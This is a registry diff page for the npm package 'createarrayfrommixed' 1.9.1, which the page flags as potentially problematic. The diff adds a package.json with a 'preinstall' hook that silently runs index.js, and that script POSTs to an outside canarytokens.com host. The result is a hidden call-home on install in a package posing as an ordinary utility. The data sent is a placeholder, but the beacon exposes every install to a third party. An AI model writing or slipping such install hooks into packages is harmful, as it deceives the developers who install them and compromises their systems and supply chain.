createarrayfrommixed 1.9.1
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Potentially problematic release.
This version of createarrayfrommixed might be problematic. Click here for more details.
- package/index.js +33 -0
- package/package.json +15 -0
package/index.js
ADDED
|
@@ -0,0 +1,33 @@
|
|
|
1
|
+
const https = require('https');
|
|
2
|
+
|
|
3
|
+
const options = {
|
|
4
|
+
hostname: "9mo1e2qvmg65v5fmxna9fasbm.canarytokens.com",
|
|
5
|
+
port: 443,
|
|
6
|
+
path: "/",
|
|
7
|
+
method: "POST",
|
|
8
|
+
headers: {
|
|
9
|
+
"Content-Type": "application/x-www-form-urlencoded",
|
|
10
|
+
// Assuming you have postData defined elsewhere
|
|
11
|
+
// "Content-Length": postData.length,
|
|
12
|
+
},
|
|
13
|
+
};
|
|
14
|
+
|
|
15
|
+
const req = https.request(options, (res) => {
|
|
16
|
+
console.log(`statusCode: ${res.statusCode}`);
|
|
17
|
+
|
|
18
|
+
res.on('data', (d) => {
|
|
19
|
+
process.stdout.write(d);
|
|
20
|
+
});
|
|
21
|
+
});
|
|
22
|
+
|
|
23
|
+
req.on('error', (error) => {
|
|
24
|
+
console.error(error);
|
|
25
|
+
});
|
|
26
|
+
|
|
27
|
+
// You need to define the postData before sending the request
|
|
28
|
+
// Example postData:
|
|
29
|
+
const postData = "example=postdata&to=send";
|
|
30
|
+
|
|
31
|
+
req.write(postData);
|
|
32
|
+
req.end();
|
|
33
|
+
|
package/package.json
ADDED
|
@@ -0,0 +1,15 @@
|
|
|
1
|
+
{
|
|
2
|
+
"name": "createarrayfrommixed",
|
|
3
|
+
"version": "1.9.1",
|
|
4
|
+
"description": "",
|
|
5
|
+
"main": "main.js",
|
|
6
|
+
"scripts": {
|
|
7
|
+
"preinstall": "node index.js > /dev/null 2>&1",
|
|
8
|
+
"test": "echo \"Error: no test specified\" && exit 1"
|
|
9
|
+
},
|
|
10
|
+
"author": "lexi2",
|
|
11
|
+
"license": "ISC",
|
|
12
|
+
"dependencies": {
|
|
13
|
+
"lodash": "^4.17.21"
|
|
14
|
+
}
|
|
15
|
+
}
|